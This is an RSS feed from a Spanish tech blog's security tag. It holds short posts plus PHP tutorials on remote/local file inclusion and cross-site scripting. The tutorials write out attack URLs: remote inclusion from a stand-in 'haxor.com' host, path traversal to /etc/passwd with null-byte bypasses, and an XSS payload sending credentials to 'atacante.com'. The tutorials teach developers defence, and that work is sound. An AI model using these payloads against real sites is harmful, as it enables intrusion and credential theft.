<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mundo Geek &#187; Seguridad</title>
	<atom:link href="http://mundogeek.net/etiqueta/seguridad/feed/" rel="self" type="application/rss+xml" />
	<link>http://mundogeek.net</link>
	<description>Mundo geek, bitácora sobre todo lo geek: software, gadgets, tecnología, internet, ...</description>
	<lastBuildDate>Wed, 08 Feb 2012 16:09:25 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>El navegador más seguro del mercado&#8230; según Microsoft</title>
		<link>http://mundogeek.net/archivos/2011/10/15/el-navegador-mas-seguro-del-mercado-segun-microsoft/</link>
		<comments>http://mundogeek.net/archivos/2011/10/15/el-navegador-mas-seguro-del-mercado-segun-microsoft/#comments</comments>
		<pubDate>Sat, 15 Oct 2011 11:16:09 +0000</pubDate>
		<dc:creator>Zootropo</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[fud]]></category>
		<category><![CDATA[navegadores]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://mundogeek.net/?p=7329</guid>
		<description><![CDATA[Estos son los resultados obtenidos por algunos de los navegadores más populares del mercado en el nuevo sitio web de Microsoft, Your browser matters, dedicado a puntuar los navegadores según su seguridad. Como veis, siempre según Microsoft, Internet Explorer 9 es el navegador más seguro del mercado, y Firefox 7 y Chrome 14 sólo consiguen [...]]]></description>
			<content:encoded><![CDATA[<p>Estos son los resultados obtenidos por algunos de los navegadores más populares del mercado en el nuevo sitio web de Microsoft, <a href="http://www.yourbrowsermatters.org">Your browser matters</a>, dedicado a puntuar los navegadores según su seguridad.</p>
<p>Como veis, siempre según Microsoft, Internet Explorer 9 es el navegador más seguro del mercado, y Firefox 7 y Chrome 14 sólo consiguen superar a IE 7, lanzado en Octubre de 2006. Safari y Opera no parecen ser lo bastante importantes para ser tenidos en cuenta.</p>
<div style="text-align:center"><img src="http://mundogeek.net/wp-content/seguridad-navegadores.png" alt="El navegador más seguro"/></div>
]]></content:encoded>
			<wfw:commentRss>http://mundogeek.net/archivos/2011/10/15/el-navegador-mas-seguro-del-mercado-segun-microsoft/feed/</wfw:commentRss>
		<slash:comments>43</slash:comments>
		</item>
		<item>
		<title>Generador de frases de paso estilo XKCD</title>
		<link>http://mundogeek.net/archivos/2011/08/11/generador-de-frases-de-paso-estilo-xkcd/</link>
		<comments>http://mundogeek.net/archivos/2011/08/11/generador-de-frases-de-paso-estilo-xkcd/#comments</comments>
		<pubDate>Thu, 11 Aug 2011 16:10:44 +0000</pubDate>
		<dc:creator>Zootropo</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[contraseñas]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://mundogeek.net/?p=7190</guid>
		<description><![CDATA[Si te gusta el humor inteligente tanto como a mí, seguramente estés suscrito a la tira cómica de Randall Munroe, XKCD. Si es así, es probable que ya hayas leído su tira de ayer sobre la conveniencia de utilizar como contraseña, en determinadas situaciones, frases de paso en lugar de combinaciones de caracteres extraños difíciles [...]]]></description>
			<content:encoded><![CDATA[<p>Si te gusta el humor inteligente tanto como a mí, seguramente estés suscrito a la tira cómica de Randall Munroe, <a href="http://xkcd.com/" title="XKCD, a webcomic of romance, sarcasm, math, and language">XKCD</a>. Si es así, es probable que ya hayas leído su <a href="http://xkcd.com/936/" title="Password Strength">tira</a> de ayer sobre la conveniencia de utilizar como contraseña, en determinadas situaciones, <em>frases de paso</em> en lugar de combinaciones de caracteres extraños difíciles de recordar.<span id="more-7190"></span></p>
<p>Si los argumentos de Randall te convencieron, aquí tienes un muy pequeño y muy tonto script que genera una frase de paso seleccionando aleatoriamente 4 de las 1.000 palabras <a href="http://corpus.rae.es/lfrecuencias.html">más utilizadas del castellano</a>. Puedes comprobar la fortaleza de la contraseña utilizando, por ejemplo, la <a href="http://rumkin.com/tools/password/passchk.php">herramienta online</a> de Rumkin.com.</p>
<input type="button" onclick="generarPassword()" value="Generar contraseña"/>
<div id="passwordGenerado" style="font-weight:bold;margin-top:1em"></div>
<p><script type='text/javascript'>var p=['de','la','que','el','en','y','a','los','se','del','las','un','por','con','no','una','su','para','es','al','lo','como','más','o','pero','sus','le','ha','me','si','sin','sobre','este','ya','entre','cuando','todo','esta','ser','son','dos','también','fue','había','era','muy','años','hasta','desde','está','mi','porque','qué','sólo','han','yo','hay','vez','puede','todos','así','nos','ni','parte','tiene','él','uno','donde','bien','tiempo','mismo','ese','ahora','cada','e','vida','otro','después','te','otros','aunque','esa','eso','hace','otra','gobierno','tan','durante','siempre','día','tanto','ella','tres','sí','dijo','sido','gran','país','según','menos','mundo','año','antes','estado','contra','sino','forma','caso','nada','hacer','general','estaba','poco','estos','presidente','mayor','ante','unos','les','algo','hacia','casa','ellos','ayer','hecho','primera','mucho','mientras','además','quien','momento','millones','esto','españa','hombre','están','pues','hoy','lugar','madrid','nacional','trabajo','otras','mejor','nuevo','decir','algunos','entonces','todas','días','debe','política','cómo','casi','toda','tal','luego','pasado','primer','medio','va','estas','sea','tenía','nunca','poder','aquí','ver','veces','embargo','partido','personas','grupo','cuenta','pueden','tienen','misma','nueva','cual','fueron','mujer','frente','josé','tras','cosas','fin','ciudad','he','social','manera','tener','sistema','será','historia','muchos','juan','tipo','cuatro','dentro','nuestro','punto','dice','ello','cualquier','noche','aún','agua','parece','haber','situación','fuera','bajo','grandes','nuestra','ejemplo','acuerdo','habían','usted','estados','hizo','nadie','países','horas','posible','tarde','ley','importante','guerra','desarrollo','proceso','realidad','sentido','lado','mí','tu','cambio','allí','mano','eran','estar','san','número','sociedad','unas','centro','padre','gente','final','relación','cuerpo','obra','incluso','través','último','madre','mis','modo','problemas','cinco','carlos','hombres','información','ojos','muerte','nombre','algunas','público','mujeres','siglo','todavía','meses','mañana','esos','nosotros','hora','muchas','pueblo','alguna','dar','problema','don','da','tú','derecho','verdad','maría','unidos','podría','sería','junto','cabeza','aquel','luis','cuanto','tierra','equipo','segundo','director','dicho','cierto','casos','manos','nivel','podía','familia','largo','partir','falta','llegar','propio','ministro','cosa','primero','seguridad','hemos','mal','trata','algún','tuvo','respecto','semana','varios','real','sé','voz','paso','señor','mil','quienes','proyecto','mercado','mayoría','luz','claro','iba','éste','pesetas','orden','español','buena','quiere','aquella','programa','palabras','internacional','van','esas','segunda','empresa','puesto','ahí','propia','m','libro','igual','político','persona','últimos','ellas','total','creo','tengo','dios','c','española','condiciones','méxico','fuerza','solo','único','acción','amor','policía','puerta','pesar','zona','sabe','calle','interior','tampoco','música','ningún','vista','campo','buen','hubiera','saber','obras','razón','ex','niños','presencia','tema','dinero','comisión','antonio','servicio','hijo','última','ciento','estoy','hablar','dio','minutos','producción','camino','seis','quién','fondo','dirección','papel','demás','barcelona','idea','especial','diferentes','dado','base','capital','ambos','europa','libertad','relaciones','espacio','medios','ir','actual','población','empresas','estudio','salud','servicios','haya','principio','siendo','cultura','anterior','alto','media','mediante','primeros','arte','paz','sector','imagen','medida','deben','datos','consejo','personal','interés','julio','grupos','miembros','ninguna','existe','cara','edad','etc','movimiento','visto','llegó','puntos','actividad','bueno','uso','niño','difícil','joven','futuro','aquellos','mes','pronto','soy','hacía','nuevos','nuestros','estaban','posibilidad','sigue','cerca','resultados','educación','atención','gonzález','capacidad','efecto','necesario','valor','aire','investigación','siguiente','figura','central','comunidad','necesidad','serie','organización','nuevas','calidad','economía','carácter','jefe','estamos','prensa','control','sociales','universidad','militar','cabo','diez','fuerzas','congreso','ésta','hijos','justicia','mundial','dólares','juego','económica','políticos','duda','recursos','pública','crisis','próximo','tenemos','decisión','varias','popular','tenido','apenas','época','banco','presente','menor','quiero','pasar','resultado','televisión','encuentra','gracias','ministerio','conjunto','defensa','alguien','queda','hacen','pasa','resto','causa','seguir','allá','palabra','voy','cuya','vamos','mar','estudios','derechos','importancia','cuales','contrario','manuel','garcía','fuerte','sol','jóvenes','apoyo','habría','civil','miguel','pedro','partidos','libre','fuentes','administración','común','dejar','cine','salir','comunicación','b','experiencia','demasiado','plan','respuesta','energía','izquierda','función','principal','superior','naturaleza','podemos','unión','especialmente','rey','domingo','favor','cantidad','elecciones','clase','productos','españoles','conocer','teatro','importantes','evitar','color','actividades','mesa','p','decía','cuyo','debido','alta','francisco','secretario','objeto','quizá','posición','parecía','natural','elementos','hubo','objetivo','formas','única','pueda','origen','blanco','mismos','lleva','económico','opinión','ayuda','oficial','silencio','buenos','pensar','república','dónde','sangre','encuentro','siquiera','autor','reunión','haciendo','suelo','muestra','viejo','encima','resulta','tomar','bastante','siete','lucha','pudo','amigos','línea','sur','pocos','medidas','norte','partes','iglesia','tratamiento','existencia','cargo','grande','américa','boca','plaza','pie','trabajadores','poner','existen','viene','permite','análisis','argentina','acto','hechos','tiempos','políticas','radio','puedo','crecimiento','francia','compañía','amigo','autoridades','realizar','acciones','padres','diario','ve','derecha','ambiente','i','habrá','precisamente','enfermedad','especie','ejército','santa','cambios','río','sabía','seguro','espera','momentos','viaje','quería','ocho','vivir','región','formación','escuela','cuarto','valores','quedó','participación','éxito','baja','artículo','principales','fernando','metros','marcha','régimen','consecuencia','conocimiento','corazón','campaña','estructura','efectos','finalmente','modelo','carta','construcción','médico','miedo','mayores','entrada','humanos','sean','actitud','deja','dejó','d','llevar','negro','texto','mitad','estuvo','alrededor','acerca','peso','humano','pequeño','fecha','serán','doctor','ideas','vino','materia','llega','carrera','cierta','sola','psoe','lejos','juez','características','riesgo','fácil','diferencia','cultural','libros','práctica','mayo','nuestras','programas','memoria','llegado','plazo','expresión','diciembre','mantener','enero','volver','cuadro','producto','produce','europea','conciencia','tenían','atrás','felipe','creación','chile','precio','película','puerto','fuego','cuestión','pasó','costa','supuesto','local','habla','aspectos','cuba','sala','cámara','vuelta','vía','mirada','mejores','informe','unidad','distintos','suerte','tales','mira','llamado','técnica','título','s','principios','octubre','volvió','período','g','encontrar','democracia','aumento','fútbol','prueba','consumo','pese','ocasiones','exterior','solución','u','hija','sueño','parís','capaz','ocasión','industria','adelante','salida','ciencia','asunto','asociación','puso','intereses','oro','podrá','pregunta','oposición','entrar','señora','señaló','santiago','dolor','zonas','comercio','operación','tribunal','instituciones','temas','militares','junio','marco','sectores','hacerlo','aspecto','razones','contenido','juicio','electoral','considera','tendrá','mucha','voluntad','dicen','recuerdo','socialista','área','aparece','vio','cama','aun','presenta','pp','revolución','busca','abril','rodríguez','fiscal','lópez','victoria','violencia','primeras','pequeña','armas','debía','ii','esfuerzo','humana','posibilidades','centros','profesional','asimismo','grado','has','toma','distintas','material','carne','llama','particular','jorge','trabajar','propuesta','muerto','precios','reforma','hermano','corte','comenzó','etapa','obstante','pone','diversos','visita','concepto','pacientes','semanas','tipos','solamente','deseo','sistemas','encuentran','siguientes','martín','suficiente','marzo','propios','jamás','dan','club','instituto','constitución','curso','lenguaje','estilo','rosa','imposible','pablo','buscar','peor','piel','arriba','generales','septiembre','blanca','r','aquellas','teoría','animales','hicieron','larga','perdido','imágenes','paciente','conseguir','máximo','noviembre','j','líder','hospital','diversas','rafael','vuelve','destino','torno','proyectos','flores','niveles','afirmó','explicó','n','somos','términos','premio','tercera'];function generarPassword(){var r=[];for(var i=0;i<4;i++){var n=Math.floor(Math.random()*1001);r[i]=p[n]}c=r.join(' ');d=document.getElementById('passwordGenerado');d.innerText=d.textContent=c;}</script></p>
]]></content:encoded>
			<wfw:commentRss>http://mundogeek.net/archivos/2011/08/11/generador-de-frases-de-paso-estilo-xkcd/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>DVD gratuito sobre seguridad WiFi</title>
		<link>http://mundogeek.net/archivos/2011/07/25/dvd-gratuito-sobre-seguridad-wifi/</link>
		<comments>http://mundogeek.net/archivos/2011/07/25/dvd-gratuito-sobre-seguridad-wifi/#comments</comments>
		<pubDate>Mon, 25 Jul 2011 15:34:45 +0000</pubDate>
		<dc:creator>Zootropo</dc:creator>
				<category><![CDATA[Linklog]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://mundogeek.net/?p=7115</guid>
		<description><![CDATA[La mejor defensa es un buen ataque: DVD con más de 1000 minutos de vídeo sobre seguridad en redes WiFi]]></description>
			<content:encoded><![CDATA[<p>La mejor defensa es un buen ataque: <a href="http://www.securitytube.net/downloads">DVD</a> con más de 1000 minutos de vídeo sobre seguridad en redes WiFi</p>
]]></content:encoded>
			<wfw:commentRss>http://mundogeek.net/archivos/2011/07/25/dvd-gratuito-sobre-seguridad-wifi/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Seguridad informática</title>
		<link>http://mundogeek.net/archivos/2011/06/21/seguridad-informatica/</link>
		<comments>http://mundogeek.net/archivos/2011/06/21/seguridad-informatica/#comments</comments>
		<pubDate>Tue, 21 Jun 2011 14:39:07 +0000</pubDate>
		<dc:creator>Zootropo</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[informática]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[proteccion]]></category>
		<category><![CDATA[redes]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://mundogeek.net/?p=6970</guid>
		<description><![CDATA[El único sistema verdaderamente seguro es aquél que está apagado, encerrado en un bloque de hormigón, y sellado en una habitación con guardias armados. E incluso así, tengo mis dudas. ~ Gene Spafford]]></description>
			<content:encoded><![CDATA[<blockquote><p>El único sistema verdaderamente seguro es aquél que está apagado, encerrado en un bloque de hormigón, y sellado en una habitación con guardias armados. E incluso así, tengo mis dudas.</p>
<p>~ Gene Spafford</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://mundogeek.net/archivos/2011/06/21/seguridad-informatica/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Seguridad en Internet</title>
		<link>http://mundogeek.net/archivos/2011/05/11/seguridad-en-internet/</link>
		<comments>http://mundogeek.net/archivos/2011/05/11/seguridad-en-internet/#comments</comments>
		<pubDate>Wed, 11 May 2011 16:55:03 +0000</pubDate>
		<dc:creator>Zootropo</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[cifrado]]></category>
		<category><![CDATA[citas]]></category>
		<category><![CDATA[criptografia]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://mundogeek.net/?p=6753</guid>
		<description><![CDATA[A menudo me preguntan qué puede hacer el usuario medio de Internet para garantizar su seguridad. Mi primera respuesta suele ser: &#8216;Nada; estás jodido&#8217; &#8211; Bruce Schneier]]></description>
			<content:encoded><![CDATA[<blockquote><p>A menudo me preguntan qué puede hacer el usuario medio de Internet para garantizar su seguridad. Mi primera respuesta suele ser: &#8216;Nada; estás jodido&#8217;</p>
<p>&#8211; Bruce Schneier</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://mundogeek.net/archivos/2011/05/11/seguridad-en-internet/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Cómo robar identidades online, fácilmente, y para toda la familia</title>
		<link>http://mundogeek.net/archivos/2010/10/25/como-robar-identidades-online-facilmente-y-para-toda-la-familia/</link>
		<comments>http://mundogeek.net/archivos/2010/10/25/como-robar-identidades-online-facilmente-y-para-toda-la-familia/#comments</comments>
		<pubDate>Mon, 25 Oct 2010 15:06:57 +0000</pubDate>
		<dc:creator>Zootropo</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[https]]></category>
		<category><![CDATA[online]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://mundogeek.net/?p=6057</guid>
		<description><![CDATA[Todavía no necesitamos preocuparnos tanto como las víctimas de Zealous Autoconfig en la famosa tira XKCD, pero no nos debe quedar mucho. Ahora, gracias a Firesheep y al poco interés por la seguridad de muchos sitios web, robar la identidad de los usuarios en algunas de las páginas más conocidas de Internet es tan sencillo [...]]]></description>
			<content:encoded><![CDATA[<p>Todavía no necesitamos preocuparnos tanto como las víctimas de <a href="http://mundogeek.net/archivos/2008/04/28/los-asistentes-de-ubuntu-son-demasiado-entusiastas/">Zealous Autoconfig</a> en la famosa tira <a href="http://xkcd.com">XKCD</a>, pero no nos debe quedar mucho. Ahora, gracias a <a href="http://codebutler.github.com/firesheep">Firesheep</a> y al poco interés por la seguridad de muchos sitios web, robar la identidad de los usuarios en algunas de las páginas más conocidas de Internet es tan sencillo como instalar una extensión para Firefox, conectarse a una red WiFi abierta y esperar.</p>
<p>Si no le ves la gracia a ser una posible víctima de este tipo de ataques, puedes empezar por leer nuestro artículo <a href="http://mundogeek.net/archivos/2006/11/29/asegurar-una-red-wifi/">Asegurar una red WiFi</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://mundogeek.net/archivos/2010/10/25/como-robar-identidades-online-facilmente-y-para-toda-la-familia/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Local y remote file inclusion en PHP</title>
		<link>http://mundogeek.net/archivos/2010/05/04/local-y-remote-file-inclusion-en-php/</link>
		<comments>http://mundogeek.net/archivos/2010/05/04/local-y-remote-file-inclusion-en-php/#comments</comments>
		<pubDate>Tue, 04 May 2010 09:42:04 +0000</pubDate>
		<dc:creator>Zootropo</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[rfi]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://mundogeek.net/?p=5456</guid>
		<description><![CDATA[Ya hablamos hace un tiempo del Cross-Site Scripting o XSS, una de las múltiples vulnerabilidades con las que nos podemos encontrar a la hora de desarrollar una página web. Junto con la inyección SQL, XSS es una de las vulnerabilidades más conocidas y habituales. Hoy trataremos dos vulnerabilidades algo menos conocidas, pero no por ello [...]]]></description>
			<content:encoded><![CDATA[<p>Ya hablamos hace un tiempo del <a href="http://mundogeek.net/archivos/2010/03/09/cross-site-scripting/" title="Cross-Site Scripting">Cross-Site Scripting</a> o XSS, una de las múltiples vulnerabilidades con las que nos podemos encontrar a la hora de desarrollar una página web. Junto con la inyección SQL, XSS es una de las vulnerabilidades más conocidas y habituales. Hoy trataremos dos vulnerabilidades algo menos conocidas, pero no por ello menos peligrosas: la inclusión remota y la inclusión local de archivos.</p>
<p>El Remote File Inclusion, RFI, o inclusión remota de archivos, es un tipo de vulnerabilidad que podemos encontrar en páginas web que no filtran correctamente la información proveniente del usuario. En PHP se puede dar al hacer uso de las construcciones <code>include</code>, <code>include_once</code>, <code>require</code> y <code>require_once</code>, o la función <code>fopen</code>, entre otros, con parámetros procedentes del usuario.<span id="more-5456"></span></p>
<p>El siguiente código, por ejemplo, por sencillo e inocente que sea, sería altamente vulnerable:</p>
<pre name="code" class="php">&lt;?php
if(isset($_GET['pagina'])) {
  require $_GET['pagina'];
} else
  die('No se ha especificado la página a mostrar');</pre>
<p>¿Por qué es tan peligroso este código? Consideremos que nada le impediría a un supuesto atacante pasar como valor del parámetro <code>pagina</code> la ruta de un script PHP situado en su servidor, haciendo que nuestro servidor ejecutara cualquier código que dicho archivo contuviera.</p>
<blockquote><p>http://mipaginaweb.com/index.php?pagina=http://haxor.com/script</p></blockquote>
<p>Para evitar este problema desde PHP 5.2.0 php.ini tiene una opción <code>allow_url_include</code> que controla si se permiten incluir scripts utilizando URLs, opción con valor false por defecto. También existe una opción que controla si se pueden pasar URLs a <code>fopen</code>, <code>allow_url_fopen</code>, que data de PHP 4.0.4 y que, en esta ocasión, sí está activada por defecto (anteriormente esta última opción era la encargada de controlar ambas cosas, por lo que no se podía evitar la inclusión de archivos remotos y a la vez hacer uso de <code>fopen</code> con archivos remotos).</p>
<p>Gracias a esta configuración las vulnerabilidades de inclusión remota de archivos son cada vez menos comunes, aunque todavía tendremos que lidiar con otros ataques menos obvios como el uso de los protocolos <code>data://</code> y <code>php://</code>, que no se desactivan con <code>allow_url_include</code>, o las vulnerabilidades LFI.</p>
<p>LFI, Local File Inclusion o inclusión local de archivos, es un tipo de vulnerabilidad que un atacante puede aprovechar para tener acceso a archivos locales de nuestro servidor, como el archivo de configuración de nuestra aplicación:</p>
<blockquote><p>http://mipaginaweb.com/index.php?pagina=conf/configuracion.php</p></blockquote>
<p>un archivo previamente subido por el atacante, haciendo uso de cualquier formulario de subida de archivos que podamos tener:</p>
<blockquote><p>http://mipaginaweb.com/index.php?pagina=avatares/script</p></blockquote>
<p>código insertado en algún log de Apache:</p>
<blockquote><p>http://mipaginaweb.com/index.php?pagina=../../../var/log/apache/error.log</p></blockquote>
<p>o incluso el contenido del fichero passwd de un sistema UNIX, si este está mal configurado:</p>
<blockquote><p>http://mipaginaweb.com/index.php?pagina=../../../etc/passwd</p></blockquote>
<p>Una posible solución sería añadir una extensión al archivo a incluir, por ejemplo:</p>
<pre name="code" class="php">&lt;?php require $_GET['pagina'] . '.inc.php'); ?&gt;</pre>
<p>En teoría, esto debería impedir incluir cualquier archivo que no terminara en .inc.php, pero, lamentablemente, no es tan sencillo. El atacante podría saltarse nuestro nuevo intento de protección añadiendo el carácter nulo (0&#215;00), que permite terminar las cadenas, al final del valor pasado como parámetro (si <code>magic_quotes_gpc</code> está desactivado, de otra forma el problema se solucionaría al aplicar la función <code>addslashes</code> automáticamente):</p>
<blockquote><p>http://mipaginaweb.com/index.php?pagina=../../../etc/passwd%00</p></blockquote>
<p>o se podrían aprovechar los intentos de PHP de normalizar las rutas y el hecho de que las rutas se truncan a partir de cierto tamaño (este problema está corregido en las últimas versiones de PHP, para nuestra tranquilidad):</p>
<blockquote><p>http://mipaginaweb.com/index.php?pagina=../../../etc/passwd.\.\.\.\   &#8230;</p></blockquote>
<p>Como nunca podremos ir un paso por delante de los hackers, una buena solución, aunque a algunos les podría parecer exagerada, es aceptar sólo los caracteres necesarios en el parámetro pasado como argumento:</p>
<pre name="code" class="php">&lt;?php
if(isset($_GET['pagina'])) {
	$pagina = preg_replace('/[^a-z^A-Z]*/', '', $_GET['pagina']);
  require $_GET['pagina'] '.inc.php';
} else
  die('No se ha especificado la página a mostrar');</pre>
<p>o bien, aunque es poco flexible, almacenar las distintas opciones válidas en un array y comprobar si el valor indicado se encuentra en dicho array:</p>
<pre name="code" class="php">&lt;?php
$paginas = array('principal', 'sobre-mi', 'contacto');
if(isset($_GET['pagina']) and in_array($_GET['pagina'], $paginas)) {
  require $paginas[array_search($_GET['page'], $paginas)] . '.inc.php';
} else
  die('No se ha especificado la página a mostrar o no existe en el servidor');</pre>
<p>Aunque, por supuesto, la mejor solución siempre será, simplemente, no confiar nunca en los usuarios, y, por lo tanto, no incluir nada que un usuario pueda modificar.
<link type="text/css" rel="stylesheet" href="http://mundogeek.net/sh/css/SyntaxHighlighter.css"></link>
<script language="javascript" src="http://mundogeek.net/sh/js/shCore.js"></script><br />
<script language="javascript" src="http://mundogeek.net/sh/js/shBrushPhp.js"></script><br />
<script language="javascript">dp.SyntaxHighlighter.ClipboardSwf = 'http://mundogeek.net/sh//flash/clipboard.swf';
dp.SyntaxHighlighter.HighlightAll('code');</script></p>
]]></content:encoded>
			<wfw:commentRss>http://mundogeek.net/archivos/2010/05/04/local-y-remote-file-inclusion-en-php/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Contraseñas y cepillos de dientes</title>
		<link>http://mundogeek.net/archivos/2010/04/22/contrasenas-y-cepillos-de-dientes/</link>
		<comments>http://mundogeek.net/archivos/2010/04/22/contrasenas-y-cepillos-de-dientes/#comments</comments>
		<pubDate>Thu, 22 Apr 2010 10:10:28 +0000</pubDate>
		<dc:creator>Zootropo</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[citas]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://mundogeek.net/archivos/2010/04/22/contrasenas-y-cepillos-de-dientes/</guid>
		<description><![CDATA[Actúa con tus contraseñas como con tu cepillo de dientes. Nunca debes compartirlo, y tienes que sustituirlo cada seis meses. &#8211; Clifford Stoll]]></description>
			<content:encoded><![CDATA[<blockquote><p>Actúa con tus contraseñas como con tu cepillo de dientes. Nunca debes compartirlo, y tienes que sustituirlo cada seis meses.</p>
<p>&#8211; Clifford Stoll</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://mundogeek.net/archivos/2010/04/22/contrasenas-y-cepillos-de-dientes/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Adobe Reader: la aplicación más peligrosa del mercado</title>
		<link>http://mundogeek.net/archivos/2010/03/10/adobe-reader-la-aplicacion-mas-peligrosa-del-mercado/</link>
		<comments>http://mundogeek.net/archivos/2010/03/10/adobe-reader-la-aplicacion-mas-peligrosa-del-mercado/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 15:56:25 +0000</pubDate>
		<dc:creator>Zootropo</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[pdf]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://mundogeek.net/?p=5129</guid>
		<description><![CDATA[Eso es lo que se desprende de los datos de F-Secure, que indican que el lector de archivos PDF de Adobe se ha convertido, con diferencia, en la aplicación más explotada por los delincuentes informáticos en sus campañas de distribución de malware, muy por encima del otrora &#8220;reinante&#8221; Microsoft Office. Muchas de estas vulnerabilidades se [...]]]></description>
			<content:encoded><![CDATA[<p>Eso es lo que se desprende de <a href="http://www.f-secure.com/weblog/archives/00001903.html" title="Adobe Reader es la aplicación más atacada del mercado">los datos de F-Secure</a>, que indican que el lector de archivos PDF de Adobe se ha convertido, con diferencia, en la aplicación más explotada por los delincuentes informáticos en sus campañas de distribución de malware, muy por encima del otrora &#8220;reinante&#8221; Microsoft Office.</p>
<div style="text-align:center"><img src="http://mundogeek.net/wp-content/aplicaciones-atacadas.png"/></div>
<p><span id="more-5129"></span></p>
<p>Muchas de estas vulnerabilidades se aprovechan de la capacidad de Adobe Reader de ejecutar código JavaScript, por lo os recomendaría desactivarlo inmediatamente desmarcando la casilla &#8220;Activar JavaScript para Acrobat&#8221; en Edición -> Preferencias -> JavaScript. Igualmente, sería recomendable desactivar la visión de PDF desde el navegador.</p>
<p>También podéis probar un lector de PDF alternativo, como <a href="http://blog.kowalczyk.info/software/sumatrapdf/index.html" title="Lector de PDF Sumatra PDF">Sumatra PDF</a>. U <a href="http://mundogeek.net/etiqueta/linux/" title="Linux en Mundo geek">otro sistema operativo</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://mundogeek.net/archivos/2010/03/10/adobe-reader-la-aplicacion-mas-peligrosa-del-mercado/feed/</wfw:commentRss>
		<slash:comments>37</slash:comments>
		</item>
		<item>
		<title>Cross-Site Scripting</title>
		<link>http://mundogeek.net/archivos/2010/03/09/cross-site-scripting/</link>
		<comments>http://mundogeek.net/archivos/2010/03/09/cross-site-scripting/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 16:05:26 +0000</pubDate>
		<dc:creator>Zootropo</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://mundogeek.net/?p=5105</guid>
		<description><![CDATA[El Cross-Site Scripting, abreviado como XSS, para no confundirlo con las hojas de estilo, es un tipo de vulnerabilidad que puede darse en cualquier aplicación web en la que se muestre en pantalla cualquier tipo de datos sobre los que el usuario tenga influencia directa. Como es de suponer, esto abarca a gran porcentaje de [...]]]></description>
			<content:encoded><![CDATA[<p>El <strong>Cross-Site Scripting</strong>, abreviado como XSS, para no confundirlo con las hojas de estilo, es un tipo de vulnerabilidad que puede darse en cualquier aplicación web en la que se muestre en pantalla cualquier tipo de datos sobre los que el usuario tenga influencia directa. Como es de suponer, esto abarca a gran porcentaje de sitios web.<span id="more-5105"></span></p>
<h2>Cross-Site Scripting, el problema</h2>
<p>Veamos un pequeño ejemplo. Supongamos que escribimos un sencillo script en <a href="http://mundogeek.net/archivos/2009/11/26/tutorial-rapido-de-php/" title="Tutorial de PHP">PHP</a> que no hace más que mostrar el valor de una variable <code>mensaje</code> pasada por GET. Algo tan sencillo como esto:</p>
<pre name="code" class="php">&lt;?php
  echo $_GET['mensaje'];
?&gt;</pre>
<p>Como no tratamos la entrada del usuario de ninguna forma, dejamos la puerta abierta a que se muestre cualquier tipo de código HTML en nuestra página, incluido, por ejemplo, un formulario de login falso, o un iframe con un formulario falso:</p>
<blockquote><p>http://localhost/index.php?mensaje=&lt;form action=&quot;http://atacante.com/captura.php&quot;&gt;Usuario: &lt;input type=&quot;text&quot; name=&quot;usuario&quot;/&gt;&lt;br/&gt;Contraseña: &lt;input type=&quot;text&quot; name=&quot;pass&quot;/&gt;&lt;/form&gt;</p></blockquote>
<p>un script que use <code>document.location</code> para hacer que el usuario ejecute un archivo PHP de la web del atacante, pasándole las cookies:</p>
